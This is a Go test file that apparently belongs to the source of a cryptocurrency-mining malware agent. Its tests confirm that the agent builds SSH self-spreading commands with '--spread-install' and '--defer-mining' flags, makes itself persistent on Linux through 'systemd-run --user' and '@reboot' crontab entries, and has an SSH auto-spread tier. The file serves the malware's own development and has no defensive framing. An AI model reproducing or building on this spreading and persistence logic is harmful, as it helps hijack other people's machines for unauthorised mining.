//go:build !windows package deploy import ( "strings" "testing" "crypto-miner-agent/config" ) func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) { cmd := sshSpreadStartCmd("/tmp/af-worker") for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} { if !strings.Contains(cmd, want) { t.Fatalf("cmd=%q missing %q", cmd, want) } } } func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}} cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker") if !strings.Contains(cmd, "systemd-run --user") { t.Fatalf("cmd=%q", cmd) } if !strings.Contains(cmd, "--defer-mining") { t.Fatal("expected defer-mining in systemd persist") } } func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}} cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker") if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") { t.Fatalf("cmd=%q", cmd) } } func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}} cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker") if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") { t.Fatalf("cmd=%q", cmd) } } func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}} if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" { t.Fatalf("got %q", got) } } func TestTryLotlTierLinuxLOTLLane(t *testing.T) { ok, msg := tryLotlTier(config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"}, }, "linux") if !ok { t.Fatalf("linux tier should succeed, got %q", msg) } if !strings.Contains(msg, "ssh") { t.Fatalf("msg=%q", msg) } }